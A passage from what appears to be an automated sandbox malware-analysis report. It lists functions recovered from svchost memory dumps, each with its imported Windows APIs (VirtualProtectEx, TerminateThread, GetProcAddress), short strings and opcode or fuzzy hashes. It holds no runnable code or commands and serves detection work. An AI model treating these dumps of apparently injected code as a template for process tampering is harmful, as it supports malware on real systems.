VirtualProtectEx.KERNEL32 ref: 00000195DD5C3714
GetCurrentProcess.KERNEL32 ref: 00000195DD5C3732
VirtualProtectEx.KERNEL32 ref: 00000195DD5C3753
TerminateThread.KERNEL32 ref: 00000195DD5C3762

Memory Dump Source

Source File: 00000020.00000002.3592825778.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd5c0000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: a4c37ed03e2153ec921c4fe35d3b930d694565bbf9533148a8bdd7b871a42841
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: 00014075312F4882FF269BA6E82879573E2BB45B86F040424CE4967B54EF3DC149C710

Function 00000195DD5C9005 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000195DD5C9013
_IsNonwritableInCurrentImage.LIBCMT ref: 00000195DD5C90A8
RtlUnwindEx.NTDLL ref: 00000195DD5C90F7

Strings

csm, xrefs: 00000195DD5C908E
f, xrefs: 00000195DD5C9026

Memory Dump Source

Source File: 00000020.00000002.3592825778.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd5c0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 23eacf76fefb4f7f9308e1222479b694a5ecefb866da3529da442ff7070fa44f
Instruction ID: b6a9a57366d7e32ba7d8204e1a09c4ae5b67336b6113bd5d1bf03962d45849d0
Opcode Fuzzy Hash: 23eacf76fefb4f7f9308e1222479b694a5ecefb866da3529da442ff7070fa44f
Instruction Fuzzy Hash: FD51E732703A088AEB16CF59E469BD837D7F34AB89F518124DA06A3B8CDB75C841CB44

Function 00000195DD5C8FE8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000195DD5C9013
_IsNonwritableInCurrentImage.LIBCMT ref: 00000195DD5C90A8
RtlUnwindEx.NTDLL ref: 00000195DD5C90F7

Strings

csm, xrefs: 00000195DD5C908E
f, xrefs: 00000195DD5C9026

Memory Dump Source

Source File: 00000020.00000002.3592825778.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd5c0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 3343c703fad3ff3a8a0055ce76d4c8b5bb2113134d4bfc35ff936db91a6087cf
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 3931D132202A44C6E716DF5AE86879937E6F745BCAF058014EE46A7B8DDB39C941CB04

Function 00000195DD5C1A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 00000195DD5C1A60
StrCmpNIW.SHLWAPI ref: 00000195DD5C1A7A
lstrlenW.KERNEL32 ref: 00000195DD5C1A89
StrCpyW.SHLWAPI ref: 00000195DD5C1A9E

Strings

\\?\, xrefs: 00000195DD5C1A6E

Memory Dump Source

Source File: 00000020.00000002.3592825778.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd5c0000_svchost.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: df346fd54c246db8dc1c541bbdd1f0d6174768352badab0d676f886130502b32
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: 2BF04432304A4592E7618BA5F8A479967E2F748BD8F844021DA4957E54DF3CC64ECB10

Function 00000195DD5C3044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 00000195DD5C3066
StrCpyW.SHLWAPI ref: 00000195DD5C3076
StrCatW.SHLWAPI ref: 00000195DD5C3082
PathCombineW.SHLWAPI ref: 00000195DD5C3090

Strings

\\.\pipe\, xrefs: 00000195DD5C305C

Memory Dump Source

Source File: 00000020.00000002.3592825778.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd5c0000_svchost.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: 9bf27a7e66860d5ed9a1e4fc62765c01fea6d54f0cf7a99623ebd25812deed3f
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: FFF01C75715F8882FB158F97B92419967E2AB48FD1F089131EE4A67F28DF3CC4868710

Function 00000195DD5CBC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00000195DD5CBCBD
GetProcAddress.KERNEL32 ref: 00000195DD5CBCD3
FreeLibrary.KERNEL32 ref: 00000195DD5CBCFA

Strings

mscoree.dll, xrefs: 00000195DD5CBCB4
CorExitProcess, xrefs: 00000195DD5CBCCC

Memory Dump Source

Source File: 00000020.00000002.3592825778.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd5c0000_svchost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: 6fff49532d995f645c10438cf692a88e56ff7661239a114b43dcc12d8e254882
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: 9BF09675311F0981EF118BA8E46439963E2EB857A1F540219CA6A56BE4DF3CC546C310

Function 00000195DD5C50D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000195DD5C5156

Memory Dump Source

Source File: 00000020.00000002.3592825778.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd5c0000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction ID: a3c0edd0877988b553c5cb3f44ac1cf59b63286ea202ec1d8159712ba189bc8b
Opcode Fuzzy Hash: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction Fuzzy Hash: 7402A83221AB8486E761CB99E4A479EB7E1F3C4794F104115EA8E97FA9DF7CC484CB00

Function 00000195DD5C5710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000195DD5C5726

Memory Dump Source

Source File: 00000020.00000002.3592825778.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd5c0000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction ID: c54ef34d66bd00901bd8adbac774be78d0448155a515a9e92ef6434a46babdc8
Opcode Fuzzy Hash: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction Fuzzy Hash: 5561EB3661AF48C6E761DB9AE46475AB7E2F388784F500115EA8E97FA8DB7CC440CF40

Function 00000195DD5D4104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000195DD5D412C
_set_statfp.LIBCMT ref: 00000195DD5D4147
_set_statfp.LIBCMT ref: 00000195DD5D4163
_set_statfp.LIBCMT ref: 00000195DD5D419F

Memory Dump Source

Source File: 00000020.00000002.3592825778.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd5c0000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 4f18cf734432864d1cadb05385a9f61388192ac32121d651ae8f93e19ceaa8fb
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 38115132A10F9131FB6615E8D4763E611DB6B683F8F180724A97636FD68A24C8414721

Function 00000195DD5A3504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000195DD5A352C
_set_statfp.LIBCMT ref: 00000195DD5A3547
_set_statfp.LIBCMT ref: 00000195DD5A3563
_set_statfp.LIBCMT ref: 00000195DD5A359F

Memory Dump Source

Source File: 00000020.00000002.3592258832.00000195DD590000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd590000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 33dfdcfffdc3893784a7b309723e3667eaa1db39b5b3fd1c14ced88943099ce3
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 0111E332A10F3141FBA691ECE4753E91AC36F5C37CF49A638A96626ED6CA2CF8405700

Function 00000195DD59F040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000195DD59F124

Strings

Wednesday, xrefs: 00000195DD59F1ED
Tuesday, xrefs: 00000195DD59F0F4
or copy constructor iterator', xrefs: 00000195DD59F25A, 00000195DD59F275

Memory Dump Source

Source File: 00000020.00000002.3592258832.00000195DD590000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd590000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: e363e31868ba0ebea0856da9f2af10226048556fbf55e11a4800ee541c068533
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 3261D53A600E40C2FB6BCBE4E9703EE2AE3E785780F554415CA5A37FA4DB34D8499B40

Function 00000195DD5CAA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00000195DD5CAA68
_CallSETranslator.LIBVCRUNTIME ref: 00000195DD5CAAB7

Strings

RCC, xrefs: 00000195DD5CAA85
MOC, xrefs: 00000195DD5CAA7C

Memory Dump Source

Source File: 00000020.00000002.3592825778.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd5c0000_svchost.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 10fc382da7d13d8ad43a4db652bb922ee3acc66b14bf34360ded925820cce3ee
Instruction ID: 14cf2eee4fbcc911eae32f8475549afe507b7b7c46814838016a04d8a23f088c
Opcode Fuzzy Hash: 10fc382da7d13d8ad43a4db652bb922ee3acc66b14bf34360ded925820cce3ee
Instruction Fuzzy Hash: DD614932602A888AEB21DFA9D4503DD7BE2F354B8CF045215EF4967B98DB39D595C700

Function 00000195DD5CAD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000195DD5CADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000195DD5CAE88

Strings

csm, xrefs: 00000195DD5CADC2
csm, xrefs: 00000195DD5CAEDA

Memory Dump Source

Source File: 00000020.00000002.3592825778.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 2a90534c08ec7fa08356974faa6f23fad74bcd69915b4cf882117b33a0582183
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: A451E076101B88CAEB768FA994A43D87BE2F355B85F184116DA89E7FD5CB39C490CB00

Function 00000195DD59A178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000195DD59A1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000195DD59A288

Strings

csm, xrefs: 00000195DD59A1C2
csm, xrefs: 00000195DD59A2DA

Memory Dump Source

Source File: 00000020.00000002.3592258832.00000195DD590000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd590000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 630a7bd136e047a971954e7c30b8e6e87b54a1208c2d6339fb40a23e9a14be36
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 9351AA32100B80CAEF768BA5946439877E2F355BC4F189216DB99A7FD5CB3AD490CF10

Function 00000195DD598405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000195DD598413
_IsNonwritableInCurrentImage.LIBCMT ref: 00000195DD5984A8

Strings

csm, xrefs: 00000195DD59848E
f, xrefs: 00000195DD598426

Memory Dump Source

Source File: 00000020.00000002.3592258832.00000195DD590000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd590000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 545615c7cb5cd5622a5ac668a3e3931a1a855b43902fdb1261379489e8260ddb
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 5F51D132701A00DBEB56CF55E464B983BEAF354BA8F548164DA1A67B88EB35D844CF04

Function 00000195DD5983E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000195DD598413
_IsNonwritableInCurrentImage.LIBCMT ref: 00000195DD5984A8

Strings

csm, xrefs: 00000195DD59848E
f, xrefs: 00000195DD598426

Memory Dump Source

Source File: 00000020.00000002.3592258832.00000195DD590000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd590000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 1a57b68ce290c85dbce40ecbe3ad1d13c9711456f6542ae40eb2b2b77e126871
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 1F31DF32201B40EAE716DF61E864B997BEAF744BD8F058054EE5B67F88DB39D940CB04

Function 00000195DD5D2058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00000195DD5D20D7
WriteFile.KERNEL32 ref: 00000195DD5D239F
WriteFile.KERNEL32 ref: 00000195DD5D23E5
GetLastError.KERNEL32 ref: 00000195DD5D249B

Memory Dump Source

Source File: 00000020.00000002.3592825778.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd5c0000_svchost.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 0727f7ca33ebfc9b04e52b4205dc7bd87cee8483e25baa6158969cd42837b0ef
Instruction ID: f53c85bc1b1823a42c19dddbaacf5ef3270f7fc8b13c31205dca382023514cf5
Opcode Fuzzy Hash: 0727f7ca33ebfc9b04e52b4205dc7bd87cee8483e25baa6158969cd42837b0ef
Instruction Fuzzy Hash: 84D1FE32B15A8089E712CFB9D4607EC3BF2F755BA8F008216DE5AA7F99DA34C406C350

Function 00000195DD5C14A4 Relevance: 6.3, APIs: 5, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000195DD5C14C5
HeapFree.KERNEL32 ref: 00000195DD5C14D4
GetProcessHeap.KERNEL32 ref: 00000195DD5C14E1
HeapFree.KERNEL32 ref: 00000195DD5C14F0
GetProcessHeap.KERNEL32 ref: 00000195DD5C1500

Memory Dump Source

Source File: 00000020.00000002.3592825778.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction ID: c16a99b6eb882b57aedd9fd2cb972f0c73c4406802b17b7f20f8a29f0fc28702
Opcode Fuzzy Hash: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction Fuzzy Hash: 45015A32601F99D6E705DFE6E95418A77E2FB89F81F044425EA4A63B29DE38C052C750

Function 00000195DD5D2980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 00000195DD5D2A9C
GetLastError.KERNEL32 ref: 00000195DD5D2B27

Memory Dump Source

Source File: 00000020.00000002.3592825778.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd5c0000_svchost.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: e05ebd15e7bb07455586a63994cd1edc3763a212bc928c3d69a32a164f643882
Instruction ID: d41248d40368a7dadbb8de4372f2d467b08f8f1214df69f873c535610b2736e1
Opcode Fuzzy Hash: e05ebd15e7bb07455586a63994cd1edc3763a212bc928c3d69a32a164f643882
Instruction Fuzzy Hash: 1D91CE32704E5499F7629FA994A0BED3BE2F754B88F144109DE4A77F98DB74C882C720

Function 00000195DD5C7960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00000195DD5C798C
GetCurrentThreadId.KERNEL32 ref: 00000195DD5C799A
GetCurrentProcessId.KERNEL32 ref: 00000195DD5C79A6
QueryPerformanceCounter.KERNEL32 ref: 00000195DD5C79B6

Memory Dump Source

Source File: 00000020.00000002.3592825778.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd5c0000_svchost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: ef2a4aaacd16aa62e41bbfaf996d134d739e1b6477f4088ce6822e44ce878a86
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: 32113C36710F058AEB10DFA0E8643E833E4F719759F440E21DA6D96BA4DF78C1998380

Function 00000195DD5C253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000195DD5C2620
StrCpyW.SHLWAPI ref: 00000195DD5C2639

Strings

\\.\pipe\, xrefs: 00000195DD5C262B

Memory Dump Source

Source File: 00000020.00000002.3592825778.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd5c0000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 4fe0687d80f5d921ad167ff7ab4ce2b7c253e02b66b61a32e3d9e8e186ab893e
Instruction ID: 4b390bd35bc8d7488896d564d2b09490878af5546f8c74a14ac6cebee34a4a91
Opcode Fuzzy Hash: 4fe0687d80f5d921ad167ff7ab4ce2b7c253e02b66b61a32e3d9e8e186ab893e
Instruction Fuzzy Hash: 9371B436301F8986E726DFAD98A47EA77D6F389B84F480026DD09A3F89DE39C545C700

Function 00000195DD599E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 00000195DD599EB7

Strings

MOC, xrefs: 00000195DD599E7C
RCC, xrefs: 00000195DD599E85

Memory Dump Source

Source File: 00000020.00000002.3592258832.00000195DD590000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd590000_svchost.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 963f06e7ef80a2670a9323d7792bb0635a5f70e1dcd725eb12c0e0c54d3360cc
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: F4614636A00B84CAEB22DFA5D4903DD7BE2F349B88F045215EF4927B99DB38D595CB40

Function 00000195DD5C2330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000195DD5C2416
StrCpyW.SHLWAPI ref: 00000195DD5C242D

Strings

\\.\pipe\, xrefs: 00000195DD5C2421

Memory Dump Source

Source File: 00000020.00000002.3592825778.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd5c0000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 95bec47cb02d8e9bc4e84beb1c736abe046d6fad30f786d8abc3baa08d9e3a7f
Instruction ID: 6ad79f3c6496f576d1a9b3784531bf2f01e420446c3f4c2c03693f52336387d6
Opcode Fuzzy Hash: 95bec47cb02d8e9bc4e84beb1c736abe046d6fad30f786d8abc3baa08d9e3a7f
Instruction Fuzzy Hash: CB511632206B8982F736DBAEA0B87EA77D3F386740F480125DD49A3F49DA39C505C740

Function 00000195DD5D26F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00000195DD5D2807
GetLastError.KERNEL32 ref: 00000195DD5D2829

Strings

U, xrefs: 00000195DD5D27B3

Memory Dump Source

Source File: 00000020.00000002.3592825778.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd5c0000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: bf4803890842cdcd72fcab1033f968f229dce80172f82f9c58987f86f410db74
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: 3741AF32715B8482EB219FA5E8547EAA7E2F798794F504021EE4D97B98EF3CC441CB50

Function 00000195DD5C94A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 00000195DD5C94F0
RaiseException.KERNEL32 ref: 00000195DD5C9531

Strings

csm, xrefs: 00000195DD5C951E

Memory Dump Source

Source File: 00000020.00000002.3592825778.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd5c0000_svchost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: d9ae04a037fab9593d23b185716cfc6ae1853ea009b9f3fd067145c53b8789b8
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: 63116A36205F8482EB228F19F450399B7E2FB88B95F584221EE8C57B68DF3CC552CB00

Function 00000195DD597356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000195DD59737C

Strings

ierarchy Descriptor', xrefs: 00000195DD597381
riptor at (, xrefs: 00000195DD597364

Memory Dump Source

Source File: 00000020.00000002.3592258832.00000195DD590000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd590000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: 9d65062051ba8b6632479c62e9aac4e80b8205db58c6d08c9f87c8cd4192a069
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: E9E08671640F44D4DF028F61E8502D833E1DB58B64F889122995C1A311FA3CD1E9C301

Function 00000195DD5973B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000195DD5973D8

Strings

Locator', xrefs: 00000195DD5973DD
riptor at (, xrefs: 00000195DD5973C0

Memory Dump Source

Source File: 00000020.00000002.3592258832.00000195DD590000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd590000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
